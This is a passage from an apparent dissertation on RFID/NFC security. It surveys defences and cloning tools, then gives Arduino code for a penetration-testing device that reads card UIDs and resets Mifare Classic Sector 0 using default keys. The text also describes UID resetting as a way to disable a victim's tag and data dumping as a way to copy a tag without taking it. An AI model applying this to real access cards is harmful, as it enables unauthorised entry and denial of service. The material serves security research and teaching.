Increasing the inherent encryption on RFID media would greatly increase the security and
eliminate most of the attacks mentioned above.
In the majority of attacks, the attackers were able to directly read the memory, emulate what is
emitted from the card or deduce what is stored on the card memory through various intermediate
attacks. If this information was hidden under adequate layers of encryption, decrypted only
by the legitimate reader, the majority of these attacks would be rendered useless as the data
extracted would remain meaningless.
A great example is the comparison of Mifare Classic HF tag and the newest standard Mifare
DESFire. As is evident from many attacks mentioned above, the lack of adequate encryption
on Classic cards has resulted in attackers able to copy, read and extract data and even emulate
Mifare Classic Cards. Garcia was able to successfully reverse engineer the technology due to the
fact that he was able to read and understand the transaction of signals and data between the
card and the reader.
The latest technology card offered by Mifare is the DESFire EV1, which offers triple-DES (3DES)
encryption over the data stored in memory. This renders conventional attacks on Mifare classic
completely useless as when a malicious reader tries to read the data from these tags, the infor-
mation gather would be meaningless. Even if the content read was to be copied to a blank card,
the card would not be able to unlock the target system as the signals emitted would not be the
ones actually expected by the reader.
48
The differences between tags are often completely unknown to the average user and thus the
trend for corporations implementing such solutions, without prior security research, is to buy
the cheapest Blank RFID tags/cards for their employees. These are often older technologies,
Mifare Classic being the most popular, that have been broken through various attacks.
It would be best practise for companies trying to implement RFID solutions to get their
cards/tags directly from their preferred vendor, like Mifare or NXP, and ensure that they are
implementing the latest technology, both for RFID Media and Readers.
It would also be a good practise to re-evaluate the security of such systems every few years to
ensure that the possibility of attack is kept to a minimum.
3.5.4 Shielding
Overall, Shielding is the act of providing additional layers of material in front of the reader or
tag so that the signal is not able to penetrate that material.
This is done to protect against jamming attacks and DOS. Shielding the Reader with an ap-
propriate material, such as several types of metals, would result in an increased security against
signal jamming.
Shielding the front of the reader and a small area around it and only allowing a couple of
centimeters for a tag to be inserted removes any window of malicious signals reaching the reader.
In this way, the only signal reaching the readers range are within the bounding box, which should
be designed to not have any extra space than the one needed for a single tag/card read. This
also makes it rather obvious when a jamming device has been placed in the space.
Shielding should also mean that the RFID reader itself is as impenetrable as possible, so that
the possibility of a malicious entity taking it apart and installing a jamming device within the
reader is eliminated.
Shielding is a very primitive, low-tech and easy approach, but it does mechanically solve the
issue of Jamming Attacks, as the attackers rely on covert installation of such devices, or the
ability to emit to the reader from a distance. Since the malicious signals are not able to reach
the reader, and the attacker cannot install these jamming devices within the reader, or within
the shield, jamming should be next to impossible.
49
3.6 Existing Solutions
This section will outline the existing technologies and solution that are currently available
3.6.1 125KHz RFID Copier
This is an extremely simple and primitive RFID Copier, shown under Figure 3.1, that is able to
clone 125KHz RFID media by simply touching the device on the source card, pressing "Read"
and then touching an empty 125KHz card/tag and pressing "Write".
This device works on very simple cards that do not provide any encryption or any other security
methods.
These cards are typically used to gain access into residential buildings, garage gates and au-
tomatic fences. 125KHz cards should not be used in high security positions, but they can
sometimes be found in such places.
(a) 125KHz RFID Copier
Figure 3.1: Picture of a 125KHz RFID Copier
50
3.6.2 13.56MHz NFC Reader/Writer
These are hardware Reader/Writers, that are to be used in conjunction with various software
tools to perform their function. The 13.56MHz RFID frequency is the one also known as NFC.
The reader shown under Figure 3.2 is able to read the contents of the card, write new information
to blank media but also clone 13.56MHz NFC media using various software tools. The one shown
under Figure 3.3 is the most compatible with software and tools as it has the most widespread
drivers and in general, tools are designed with this in mind. It is generally used more in NFC
attacks.
These devices are able to perform more sophisticated attacks on cards that might also provide
encryption or other security standards, by exploiting known attacks through software tools.
These cards are typically used for Staff Identification and to gain access to more secure environ-
ments.
This device does require a good amount of technical and security knowledge for the user to be
able to exploit RFID/NFC vulnerabilities.
3.6.3 10 Band Frequency RFID & NFC Reader/Writer/Duplicator
This is a sophisticated tool that is able to read/write and exploit 10 different RFID frequencies.
These are:
• 125KHz
• 250KHz
• 375KHz
• 500KHz
• 625KHz
• 750KHz
• 875KHz
• 1000KHz
• 13.56MHz(ISO14443A/B)
51
(a) 13.56MHz RFID Reader/Writer
Figure 3.2: Picture of a 13.56MHz RFID Reader/Writer
(a) 13.56MHz ACR122U RFID Reader/Writer
Figure 3.3: Picture of a 13.56MHz RFID Reader/Writer Model ACR122U
52
• HID PROX CARDS
It is a powerful solution to exploiting various known vulnerabilities over the RFID frequency
spectrum.
The tool shown under Figure 3.4 is able to perform all functions of the readers/writers mentioned
above but it is also able to break encryption on most 13.56MHz cards natively, including the
most popular NFC technologies (Mifare Classic 1K) when connected to the included software
tools.
3.6.4 ProxMark 3 RDV4
This is a complete tool designed with the exact purpose of exploiting RFID vulnerabilities in a
Penetration Testing Field. It is the closest, on-the-market tool, to the expected outcome of this
Dissertation.
The latest item of ProxMark, the ProxMark 3 RDV4, shown under Figure 3.5, is equipped to
perform both LF and HF attacks, by using a variety of proprietary antennas and built-in code.
(a) 10-Band RFID Reader/Writer/Duplicator
Figure 3.4: Picture of a 10-Band RFID Reader/Writer/Duplicator
53
Due to the extended features offered and the fact that they are all built-in into one device, the
ProxMark 3 RDV4 is a very expensive, enterprise-level tool.
ProxMark also offers a wide range of different antennas to expand the usability of their tools,
like antennas that are able to perform long-range attacks.
Their tool is often used by PenTesters for in-the-field RFID cracking, testing and debugging, as
stated in their official website (Proxmark 3 RDV4 | Proxmark n.d.).
(a) ProxMark 3 RDV4
Figure 3.5: Picture of a ProxMark 3 RDV4, RFID tool
54
Chapter 4
Design
The Design of the overall implementation must take into account the target audience and the
environment that the implementation will be used.
As mentioned previously, this is developed to aid the day-to-day tasks of a Penetration Tester.
Thus the person using the Arduino Implementation will be a technologically able, person, in a
hurry that wants to have immediate results as quickly as possible. In addition, the complete
solution must be as compact and portable as possible, be operated easily and quickly and be
able to last as long as possible on a single battery.
4.1 Display
The Display used to output Data to the user, but also to act as the Menu Display, is chosen to
be a 16x02 Back-Lit LCD Display.
The choice to have a single display for the menu navigation and action output was made so that
the amount of parts used is minimised, streamlined and simplified as much as possible.
In addition, the 16x02 layout was preferred, to avoid a bulky screen, that does not consume very
much power, but is also able to provide a good amount of information, while still being easy to
read and understand.
As a design choice, the I2C Display was also preferred so that Display Dimming is made on-
board and the amount of cables needed is minimised. This will also make the overall design
more portable and user-friendly.
55
4.2 User Interface
This section outlines the way that the user interacts with the system and the design choices
behind this implementation.
4.2.1 Menu
When taking into consideration that navigation and action selection should be as quick and
to-the-point as possible, it was decided that the menu should be as simple as it can be.
It was thus decided that all options must be shown under one main screen, to avoid searching
for options under other menus and sub-trees. To still provide structure, a single list is created to
act as a menu, with Low Frequency attacks at the top, denoted with a prefix "LF -" and High
Frequency attacks on the bottom, denoted with a prefix "HF -".
4.2.2 Buttons & Navigation
In addition, the user can interact with the system through two simple push buttons. One button
acts as a MOVE button, that moves to the next option down in the list, when pressed, and the
other button acts as a SELECT button that performs the highlighted action, when pressed. The
list simply rolls-over once the user reaches the end.
The outcome achieved is a simple, structured, list-like menu that allows the user to launch an
attack, in just a few clicks.
4.2.3 Information Output
Due to the limited size of the 16x02 LCD display used, the amount of information that could be
presented to the user is restricted. Through the design, only absolutely essential information is
shown on the LCD display, while a more detailed output is shown on the Serial Monitor, which
can be accessed through the use of a connected computer.
This, however, does not restrict the use of the system as a standalone unit, and all functionalities
can still be performed without the need of a computer.
56
Chapter 5
Software Requirements Specification
The following section will provide the SRS Document, following the IEEE Recommended Guide
for Software Requirements Specifications (IEEE Recommended Practice for Software Require-
ments Specifications 1998)
5.1 Introduction
5.1.1 Purpose
The purpose of this Dissertation and is to provide the full documentation involved with designing,
implementing and testing an overall tool, ’Echo RFID’, that is able to exploit various NFC &
RFID Vulnerabilities and be able to be used in a Penetration Testing Environment.
5.1.2 Scope
The system in scope will be developed with and for Arduino. An Arduino UNO will be used to
support the implementation and thus the Arduino IDE will be used to code the entire imple-
mentation. The system aims to provide Penetration Testers with useful tools to exploit RFID
& NFC media to perform their work duties. The system will provide an easy, graphical way of
exploiting these technologies with a few button clicks while automating the complex processes.
57
5.2 Overall Description
5.2.1 Product Functions
The developed solution aims to provide a complete all-in-one tool that is able to exploit RFID
vulnerabilities. This to be used, ideally, in a Penetration Testing Environment, so as to aid the
day to day tasks of a Penetration Tester.
The solution should be able to exploit both Low-Frequency and High-Frequency portions of the
RFID Spectrum in order to provide duplication, identification, debugging and other features to
the user.
The Arduino User Interface developed will differentiate between Low-Frequency and High-
Frequency attacks under the main menu.
Under the Low-Frequency (125KHz) Menu, the functions that will be present are:
• Spoofing
• Denial of Service
• Reading
Under the High-Frequency (13.56MHz) Menu (*), the functions that will be present are:
• Read Card (UID)
• Duplicate Card
• Unlock/Reset Card
• Read Card (All Sectors)
Each Function will be designed with automation in mind and to be performed with the least
amount of user effort and input as possible, since this is a tool to be used in a pinch, quickly.
Ideally, in most cases, the functions will be performed with a single click.
5.2.2 User Characteristics
The targeted user is a Physical Penetration Tester. By their vary nature, these users are highly
knowledgeable with technology and are extensively trained in the information security field.
58
It is well known and understood that the end-user is more than capable of understanding the
underlying code and procedures, but everything must be kept as simple as possible due to the
nature of their use environment. Typically penetration testers work with a limited time, under
stressful situations and thus all functions developed should be able to be deployed as quickly as
possible, ideally with a single click. They should function as intended, without any extra fuss
and provide the best results possible.
5.2.3 Design and Implementation Constraints
A number of constraints were placed, both in terms of design as well as in terms of implemen-
tation, in order to upkeep the required usability and standards.
The Design Constraints are:
• The navigation menu text should not wrap in a new line
• The navigation menu should be as simple and to the point as possible
• Navigation and Selection should be done using at most 2 hardware buttons
The Implementation Constraints are:
• The solution must be able to run on an Arduino UNO or any other similar device equipped
with an ATmega328P microprocessor
• The solution must be able to display menus on a typical I2C 16x02 LCD screen module
• The solution must be able to allow selection and navigation through hardware buttons
• The solution must be able to deploy code and procedures with the most automation pos-
sible, through a single button click.
• The solution must be able to run on battery power for a usable amount of time.
• The solution must be able to complete core tasks such as:
– Reading RFID Data
– Displaying RFID Data
– Copying RFID UID
59
5.2.4 Assumptions and Dependencies
This section outlines the Arduino Code dependencies that are needed in order for the developed
code to run properly and as intended.
5.2.4.1 Hardware Dependencies
Hardware Dependencies refer to the hardware that must be used in order for this implementation
to work as intended and as outlined in this document.
These dependencies are listed below:
• Arduino UNO - Revision 3
This is the ATmega328P micro-controller used to house the code used for exploiting the
vulnerabilities of the above technologies.
• RFID RC522 - Reader/Writer
This is the RFID/NFC module that is able to read the signals and wavelengths needed for
the above implementation and write to the media.
• I2C 16x02 LCD - Display
This is the LCD Display that shows the User Interface Menu and the output of all attacks
5.2.4.2 Software Dependencies
Software Dependencies refer to the Software Code dependencies that must be used in order
for this implementation to work as intended and as outlined in this document. The following
Dependencies are the code Libraries that must be implemented in the Arduino IDE.
These dependencies are listed below:
• I2C LCD Library:LiquidCrystal I2C
#include <LiquidCrystal_I2C.h>
• Wire Connections Library:
#include <Wire.h>
60
• RC522 - 13.56MHz RFID Module Library:MFRC522
#include <require_cpp11.h>#include <MFRC522.h>#include <deprecated.h>#include <MFRC522Extended.h>
5.3 Specific Requirements
5.3.1 Non-Functional Requirements
This section outlines the conditions that need to be valid prior to deployment and use of the
developed solution.
• The solution must run on the latest Arduino Hardware
• The solution must run on the ATmega328P microcontroller
• An RC522 13.56MHz RFID Reader/Writer must be connected
• A 9V battery power source, or USB connector must be connected
• An I2C 16x2 LCD Screen must be connected
• 2 Physical push buttons must be connected to navigate and select
5.3.2 Functional Requirements
This section outlines the conditions that the developed solution should meet when being used
by the end users.
• Allow users to Read 125KHz RFID data using custom-made 125KHz module
• Allow users to Read 13.56MHz RFID data using RC522 NFC Reader/Writer module
• Allow users to Write to 13.56MHz RFID media using RC522 NFC Reader/Writer module
• Allow users to Duplicate 13.56MHz RFID media using RC522 NFC Reader/Writer module
• Allow users to Reset 13.56MHz RFID data using RC522 NFC Reader/Writer module
61
Chapter 6
Implementation
This section outlines and explains all steps and procedures that were made in creating the full
implementation of this Dissertation.
The sections are broken down into steps that represent parts of the overall solution. Each
successive part builds on the one before it until the final solution is produced.
As mentioned above, all code implemented in this section is written using the Arduino IDE and
several libraries that make it possible for the various parts used to communicate with each other.
6.1 Navigation Menu
The first part brought into implementation is the menu that the user uses to navigate and
choose the appropriate attack. The corresponding Arduino Schematic, showing all mentioned
connections and hardware, in detail, can be found under Appendix C, under Figure C.1.
This is the very basis of the entire implementation, as it acts as the first step towards all attack
procedures and it is the point that could make or break the entire implementation. This is
due to the fact that navigation must be quick and simple in order to be realistically used in
a Penetration Testing environment. If this menu was to be too complex and time-consuming,
Pen-Testers would be inclined to avoid using it.
Implementing a navigation menu is very different than one would think. Unlike other application
software engineering, like for example Android applications, in Arduino there is no concept of
Screens or Menus. In Android, one could simply design a screen with different options and set
62
up procedures to run based on the different selections. In Arduino this is exponentially more
complex, as there is no inherent logic to accommodate a traditional menu. The LCD just displays
what software tells it to at a given clock cycle, therefore clever code must be implemented from
scratch to create the logic of an active menu, from scratch.
6.1.1 I2C 16x02 LCD Implementation & Set-Up
To begin with, an I2C 16x02 LCD is used to display this menu. The appropriate library is
used to ensure that the hardware works properly and the appropriate properties of the LCD are
declared under the variable ’lcd’:
#include <LiquidCrystal_I2C.h>LiquidCrystal_I2C lcd(0x27, 16, 2);
This LCD screen is then initialised and set-up appropriately, so that the back-light LED lightsup, to aid in readability. In addition, two custom characters are declared to represent an uparrow and a down arrow. These custom characters are explained in more detail below. This bitof code is under the setup() method that runs on boot of the Arduino:
/** Runs on Boot */void setup()
/** Initialisations */lcd.init(); // Initialise LCDlcd.backlight(); // Turn on LCD Backlightlcd.createChar(0, downArrow); // Set Down-Arrow Symbol to Char 0lcd.createChar(1, upArrow); // Set Up-Arrow Symbol to Char 1
The way that the 16x02 LCD works makes it possible to declare custom characters to light up
on the screen. Each character block is made up of a 5x8 matrix of pixels. In this case, two
custom characters are declared to represent an arrow pointing down and an arrow pointing up.
These characters are created by declaring which pixels in the character matrix should light up
when the character is used:
byte downArrow[] = // Down Arrow Symbol for LCDB00100,B00100,B00100,B00100,B00100,B10101,
63
B01110,B00100
;byte upArrow[] = // Up Arrow Symbol for LCD
B00100,B01110,B10101,B00100,B00100,B00100,B00100,B00100
;
6.1.2 Buttons, Menu Navigation & Behaviour Logic
In order to navigate the menu, two buttons are also implemented to act as navigation and
selection. The first button moves to the next option in the menu when pressed, while the other
one is used to select the highlighted action and run the appropriate function when the button
is pressed.
Since these buttons are connected to input pins on the Arduino using wires, the Wire library
must be used and the input pins that the buttons are connected to must be declared:
#include <Wire.h>const int moveButton = 2; // Input PIN for MOVE buttonconst int selectButton = 4; // Input PIN for SELECT button
void setup() pinMode(moveButton, INPUT_PULLUP); // Set MOVE button to PIN 2pinMode(selectButton, INPUT_PULLUP);// Set SELECT button to PIN 4
/** Set Initial Menu Screen */updateMenu();
In this implementation, the button used to navigate the menu is connected to input PIN 2, while
the button used for selecting is connected to input PIN 4. For each button a 10 kΩ resistor is
connected inline, between the positive leg of the push button and the Arduino input PIN.
When implementing a menu in Arduino, one must move away from thinking of the menu as a
screen with options. but rather as a series of text streams that are displayed on the connected
64
LCD. In order to emulate the expected behaviour, this series of screens has been hard-coded
into what I call "menu"s. In practise, these are all the individual streams of text that are shown
on screen repeatedly on each cycle, that change, moving from one text stream to the next when
the MOVE button is pressed.
To begin implementing this behaviour, the logic behind pressing the buttons must be created.
To register when the MOVE button is pressed a method is created that constantly reads the
appropriate digital input pin, and awaits for a signal. This method is replicated so that it awaits
a digital signal, for the SELECT button, on the corresponding input pin. For this code to work
properly and to continuously await for an input signal, it is placed inside the loop() method,
which runs on each clock cycle:
/** Runs after Boot continously */void loop()
/** If MOVE button is Pressed */if (!digitalRead(moveButton))
menu++; // Increment Menu Screen VariableupdateMenu(); // Update Menu Viewdelay(100);while (!digitalRead(moveButton));
/** If SELECT button is Pressed */if (!digitalRead(selectButton))
executeAction();// Execute Corresponding ScriptupdateMenu(); // Update Menu Viewdelay(100);while (!digitalRead(selectButton));
As shown, the appropriate method is called once an input signal is received on each button.
For the MOVE button, once that input signal is received, the menu variable is incremented,
so that it acts as a reference on which menu text stream should be printed on the LCD. Then
the updateMenu() method is called, which will be explained later on. For the SELECT button,
once pressed, the executeAction() command is called to run the appropriate attack script, and
is explained later on, along with the next method called, updateMenu(), to refresh the menu as
needed.
65
6.1.2.1 updateMenu() Method
This is the first method created, to accommodate the menu logic, house the text stream menus
and refresh the LCD screens as needed. Firstly, this method monitors the value of the ’menu’
variable, which is incremented accordingly each time the MOVE button is pressed, and is reset
automatically, once the pre-set maximum value is reached. A switch case is then created, where
the appropriate text stream is printed to the LCD according to the ’menu’ variable count. This
menu logic works by showing a ">" character as an indication, next to the option currently
selected. Since the LCD used shows 16 characters over 2 rows, 2 options are able to be displayed
at a time. Logic is then implemented to properly move the cursor between the top and bottom
of the two options and then move to the next two options once those are skipped. The custom
down-arrow character is shown at the points where a page change is available, to indicate to
the user that more options are available, while the corresponding custom up-arrow character is
displayed once the last option is reached, indicate that the menu will now roll-over.
The overall list of attack options created is:
• LF-Spoof
• LF-DoS
• LF-Read UID
• HF-Read UID
• HF-Clone MC
• HF-Reset MC
• HF-Dump Info
The code used to implement this menu, it’s logic and the appropriate behaviour:
void updateMenu() switch (menu)
case 0:menu = 1;break;
case 1:lcd.clear();lcd.print(">LF-Spoof");
66
lcd.setCursor(0, 1);lcd.print(" LF-DoS");break;
case 2:lcd.clear();lcd.print(" LF-Spoof");lcd.setCursor(0, 1);lcd.print(">LF-DoS");lcd.setCursor(15,1);lcd.write(0);break;
case 3:lcd.clear();lcd.print(">LF-Read UID");lcd.setCursor(0, 1);lcd.print(" HF-Read UID");break;
case 4:lcd.clear();lcd.print(" LF-Read UID");lcd.setCursor(0, 1);lcd.print(">HF-Read UID");lcd.setCursor(15,1);lcd.write(0);break;
case 5:lcd.clear();lcd.print(">HF-Clone MC");lcd.setCursor(0, 1);lcd.print(" HF-Reset MC");break;
case 6:lcd.clear();lcd.print(" HF-Clone MC");lcd.setCursor(0, 1);lcd.print(">HF-Reset MC");lcd.setCursor(15,1);lcd.write(0);break;
case 7:lcd.clear();lcd.print(">HF-DumpInfo");lcd.setCursor(15,1);lcd.write(1);break;
case 8:menu = 0;break;
67
6.1.2.2 executeAction() Method
This method is run once the SELECT button is pressed. It is responsible for running the script
and procedure for performing the corresponding highlighted attack that the user selects. Again,
it works by using the ’menu’ variable and the number stored under that, to reference over which
method or action to run. A switch case is created, based on ’menu’ variable number where
the specific attack action method is called. These actions have not been declared yet, so for
the moment they simply point to dummy methods that just display the corresponding action
number and reset to the menu after a few seconds.
This section will be updated and each action explained in more detail, in the appropriate up-coming sections:
/** Run Scripts for Corresponding Menu Items */void executeAction()
switch (menu) case 1:
action1();break;
case 2:action2();break;
case 3:action3();break;
case 4:action4();break;
case 5:action5();break;
case 6:action6();break;
case 7:action7();break;
68
6.2 HF RFID - UID Reading
The first attack brought into implementation is the reading of the Unique Identifier, residing
in Sector 0, of High-Frequency RFID media. For this first attack, connecting and using of
the RC522 hardware will also be outlined, along with the appropriate Schematic, shown under
Appendix C, under Figure C.2.
As explained in previous sections, NFC media are made up by a number of sectors, depending
on their type and size. In all cases, however, the first sector, Sector 0, is used to store the Unique
Identifier of the tag. Implementing this functionality correctly and making sure that the RC522
reader is set-up and functioning as intended, is the basis of all other subsequent attacks.
In order for these attacks to work, the RC522 module must be correctly set-up and the stream
of information coming in must be decoded and used appropriately. For this to be ensured, the
official RC522 Arduino Library was used, to correctly decode the incoming byte streams and
divide them to the appropriate sectors and HEX values.
A bug was, however, identified within this Library that produces a huge error in the output and
handling of this incoming byte stream. If it was unnoticed it would break the entire implemen-
tation. To fix this bug, the process will be described in a while, but it was uncovered through
testing and validating the output with the commercial 10-band RFID reader.
In the end, the UID of any 13.56MHz RFID chip was able to be read by this attack. Some of
the instances that it was successfully used were reading of the typical HF card & tag, but also
to read the UID of Contactless Credit Cards, iPhone Apple Pay, Android phone chip, Electronic
Passport Chip and more, explained and shown under the corresponding testing section.
6.2.1 RC522 HF RFID Reader/Writer Implementation & Set-Up
To begin implementing the RC522 module, the appropriate library must be used to ensure thatthe hardware works properly and the appropriate pre-requisites are defined.
#include <MFRC522.h>#include <SPI.h>#define RST_PIN 9 // RESET INPUT#define NR_OF_READERS 1#define SS_2_PIN 8#define SS_1_PIN 10MFRC522 mfrc522[NR_OF_READERS];byte ssPins[] = SS_1_PIN, SS_2_PIN;
69
The RC522 module is then initialised and set-up appropriately along with the Serial Output.
The Arduino serial monitor is used to show more information to the user, when the System is
plugged in to a computer and its system output monitored through the Arduino IDE. When the
system is plugged in, the PICC type of the media presented is also able to be identified, along
with the UID. As shown the Serial Monitor baud rate is set to 9600 and the Reader is tested
when the Serial Monitor is opened. If all connections are set-up correctly the reader information
will be shown on the Serial Monitor
/** Runs on Boot */void setup()
/** Initialisations */.../** Initialise Serial and SPI Bus */Serial.begin(9600); //Start listening on serial at baud 9600while (!Serial); // if no serial port is opened - do nothingSPI.begin(); // start SPI
/** Initialise RC522 Reader */for (uint8_t reader = 0; reader < NR_OF_READERS; reader++) mfrc522[reader].PCD_Init(ssPins[reader], RST_PIN); // Init MFRC522Serial.print(F("Reader "));Serial.print(reader);Serial.print(F(": "));mfrc522[reader].PCD_DumpVersionToSerial(); // Dump Reader Info
6.2.2 Reading HF UID & Displaying to LCD/Serial Monitor Logic
A helper routine is firstly set-up so that the byte stream input given to the reader is able to
be output to the Serial Monitor on the Arduino IDE. This method captures the byte values as
they are read by the RC522 module, and translated into HEX values before being shown to the
user. The logic here is critical. Since the information is shown as it comes in, the UID hex bytes
are shown in the reverse order, last to first. This is because the tag sends it’s stream of data
in the form 1,2,3,4, and thus the reader, behaving like a First-In-Last-Out Buffer, displays
the values in the order 4,3,2,1. When displaying this output to the Serial Monitor, a clear
message is shown to the user, to indicate that the output is shown in the order Last to First, to
70
avoid confusion.
/*** Display data from incoming bytes - convert to hex and display.*/void dump_byte_array(byte *buffer, byte bufferSize)
//For all bytes in income streamfor (byte i = 0; i < bufferSize; i++) //Convert byte to HEX formatSerial.print(buffer[i] < 0x10 ? " 0" : " ");//Print to Serial MonitorSerial.print(buffer[i], HEX);
As explained under the menu behaviour above, each list item corresponds to an action, and
the position of the cursor within the menu dictates which action is to be run, when the execute
button is pressed. This attack corresponds to the Menu entry "HF-Read UID" and is the fourth,
in order, in the list. Therefore, the action ran when this entry is highlighted is action4(). In
this method, once a tag is presented the input stream is captured and manipulated so that it
can then be displayed to the LCD and Serial Monitor in a meaningful way. The PICC type is
also displayed in the Serial Monitor.
6.2.2.1 action4() Method
This method encapsulates the entire logic behind reading the NFC stream of incoming bytes
and outputting it in a meaningful way to the LCD and Serial Monitors, along with the PICC
type to the Serial Monitor.
Firstly, the LCD is cleared in preparation of the output that follows.
/** Read UID of HF Media */void action4()
/** Clear LCD and Set a Temporary Variable */lcd.clear();
All subsequent code, and routines, explained is within the action4() method. A temporary
Boolean value is set, so that an infinite while loop is created, that waits for a card/tag to be
71
presented. While the System is waiting for a Card or Tag to be Scanned, a waiting message is
displayed on the LCD "Present HF:", so that the user knows that the System is ready to accept
input.
bool temp = true; //To run the loop until broken/** While loop - Runs until Tag is Presented */while (temp == true)
bool scanned = false; // Boolean to set whether Tag was Scannedlcd.setCursor(0, 0); // Set position of LCDlcd.print("Present HF:"); // Presenting Message printed to LCD
If the RC522 module receives input, then it is certain that a 13.56MHz card or tag has been
presented, and thus once presented the main routine runs. The media UID is displayed to
the Serial Monitor using the dump_byte_array() method, along with a clear message that the
shown UID is in the order last to first to avoid confusion.
/** Look for Card/Tag to be Presented */for (uint8_t reader = 0; reader < NR_OF_READERS; reader++)
/** If Card is Presented */if (mfrc522[reader].PICC_ReadCardSerial() && mfrc522[reader].PICC_IsNewCardPresent())
Serial.print(F("Reader ")); // Display info to SerialSerial.print(reader); // Display Reader Info to Serial
// Display the Unique IdentifierSerial.print(F(": Card UID:"));dump_byte_array(mfrc522[reader].uid.uidByte, mfrc522[reader].uid.size);
// Input to Reader is reverse to output of Tag// Order Received must be reversed for correct UIDSerial.print(F(" \nUID PRINTED IN REVERSE ORDER LAST->FIRST"));
At the same time, this input stream is captured and stored in a temporary buffer, whose size
set to 8 characters, so that both 4-byte and 7-byte long UIDs are able to be processed, while
also not exposing the buffer attacks, that would be able to be performed, if the size was to be
determined by the input stream. Once this buffer is filled, it’s contents are printed out to the
LCD, iterating the buffer backwards, so that the correct UID is shown on the LCD, displaying
the information in the correct order.
72
To increase readability, if the UID is 4 bytes long, a space is also displayed between each HEX
value. But, in the case of 7-byte long UIDs, there is simply not enough space to spread out the
values, so readability is sacrificed, in order to fit the entire UID on one line.
// If card is scannedscanned = true;if (scanned == true)
byte HF_UID[8] ; // Buffer to store UID
lcd.clear();lcd.setCursor(0, 0);lcd.print("Card UID:");lcd.setCursor(0,1);
// populate uid buffer with bytes read from card// then display in reverse order for correct UIDfor (int i = mfrc522[reader].uid.size - 1; i >= 0; i--)
HF_UID[i] = mfrc522[reader].uid.uidByte[i];
// Display UID to LCD// If UID is 4 bytes longif (mfrc522[reader].uid.size == 4)
// If value under 10, show as Ox, instead of x.if (HF_UID[i] < 10)
lcd.print("0");lcd.print(HF_UID[i],HEX);
// Add space between bytes for claritylcd.print(" ");
else
lcd.print(HF_UID[i], HEX);
// Add space between bytes for claritylcd.print(" ");
// If UID is 7 bytes longif (mfrc522[reader].uid.size == 7)
// If value under 10, show as Ox, instead of x.if (HF_UID[i] < 10)
lcd.print("0");lcd.print(HF_UID[i],HEX);
else
lcd.print(HF_UID[i], HEX);
73
The output to the LCD is displayed for 5 seconds and then the temporary Boolean value is set
to false, so that the infinite loop breaks, and the System returns to the Menu.
// Break Loop and Waittemp = false;delay(5000);
The PICC type of the card or tag is also read, but is only displayed to the Serial Monitor,
to provide some additional Information to Users that have the luxury of using the developed
System connected to a computer.
//Print PICC info to SerialSerial.print(F("Type of PICC: "));MFRC522::PICC_Type type_of_picc =mfrc522[reader].PICC_GetType(mfrc522[reader].uid.sak);Serial.println(mfrc522[reader].PICC_GetTypeName(type_of_picc));mfrc522[reader].PICC_HaltA();mfrc522[reader].PCD_StopCrypto1();
6.3 HF RFID - UID Resetting
The third HF attack, or rather action, in this case, is the resetting of Sector 0, which houses the
Unique Identifier. For this action, the same connections and schematics are used, as section 6.2,
shown under Appendix C, under Figure C.2.
Sector 0, is the one that houses the Unique Identifier, and in some Mifare Classic cards, it is
re-writeable, making it possible for it to be reset. This is fairly straightforward and is able to
be used both as an attack and as a utility.
As an attack, it can be used to provide a Denial Of Service of sorts, where the victim’s NFC tag
could be reset, and therefore become useless.
74
As a utility, it can be used to UnBrick, bricked NFC media. In some cases, when an error
occurs while trying to write on such RFID media, they become unusable and do not respond to
readers. If a Sector 0 reset is performed, it is in cases enough to UnBrick the tag and restore
functionality.
In the end, the Sector 0 of any Sector 0 writeable tag is able to be reset, to the HEX value: [04
03 02 01], which translates to Decimal: [0067305985].
6.3.1 Pre-Requisite Set-Up
To begin implementing this, the pre-requisites must be added to the code. To use the function-
ality that is provided on the RC522 module, using the official RC522 Library, a new instance
is created and used. In addition, the default Mifare Classic keys are loaded and stored, so that
they can later be used to access Sector 0.
MFRC522::MIFARE_Key key; // Load Default Mifare keysMFRC522 unbrick(SS_1_PIN, RST_PIN);// Unbrick instance
Under the loop() function the keys are then prepared. The Default Mifare Classic key is set to
HEX value: [FFFFFFFFFFFFh] by default, and as such, the key is set appropriately, using a
simple for loop.
/** Key Preparation - Default keys typically set as FFFFFFFFFFFF */for (byte i = 0; i < 6; i++)
key.keyByte[i] = 0xFF;
6.3.2 Resetting HF UID & Displaying to LCD/Serial Monitor Logic
A straightforward resetting procedure is created, using the RC522 library, along with some clear
warnings, both to the LCD and to the Serial Monitor. The result of this operation is also shown
on both the LCD and the Serial Monitor.
This action corresponds to the Menu entry "HF-Reset MC" and is the sixth, in order, in the
list. Therefore, the action ran, when this entry is highlighted is action6().
75
6.3.2.1 action6() Method
This method encapsulates the logic behind resetting the NFC Sector 0 block, and outputting
the results and warning on the LCD and Serial Monitor.
Firstly, the LCD is cleared in preparation of the output that follows.
/** Reset HF Media */void action6()
lcd.clear();
A warning is then displayed both on the LCD and the Serial Monitor that clearly alerts the
user that this action will completely erase and reset the presented RFID media. Following the
warnings, a prompt to present the media is shown.
// Show warning before resettingSerial.println(F("Warning: UID will be reset!"));lcd.print("WARNING! UID");lcd.setCursor(0,1);lcd.print("WILL BE RESET");delay(3000);Serial.println(F("Present Media to be Reset:"));lcd.clear();lcd.print("Present HF:"); // Presenting Message printed to LCDdelay(3000);
Once the prompt is shown, the device is now waiting for an appropriate RFID media tag to be
presented. Once that is picked up, the Sector 0 block is attempted to be accessed and reset, using
the embedded RC522 library functionality. If the reset is successful or failed, the appropriate
messages are shown both to the LCD and the Serial Monitor. If the reset is successful, the
Sector 0 block is set to be the HEX value [04 03 02 01].
/** If Card is Presented */if (unbrick.PICC_IsNewCardPresent() && unbrick.PICC_ReadCardSerial())
// Clear UID (Sector 0) and set to 04 03 02 01if ( unbrick.MIFARE_UnbrickUidSector(false) ) Serial.println(F("Sector 0 Cleared. \nUID set to 04 03 02 01. \n"));lcd.clear();lcd.print("Reset");lcd.setCursor(0,1);lcd.print("Successful!");
76
else Serial.println(F("Sector 0 NOT Cleared. \nFailure. \n"));lcd.clear();lcd.print("Reset");lcd.setCursor(0,1);lcd.print("Failed.");
delay(5000);
6.4 HF RFID - Information Dumping
The fourth HF attack, or again, action, is the dumping of all the information that is held within
the tag. This means that the Card Type, essential information and all Sectors will be displayed.
This can then be used to entirely replicate the tag from scratch, without the need of the victim
tag to be on the person of the attacker. The attacker could simply swipe the entire data dump,
while the tag is exposed and vulnerable, without actually stealing it. The data dump can then
be used to replicate the tag, using other tools and methods.
For this action, the same connections and schematics are used, as section 6.2, shown under
Appendix C, under Figure C.2.
6.4.1 Pre-Requisite Set-Up
Exactly as with the previous section, to begin implementing this, the pre-requisites must be
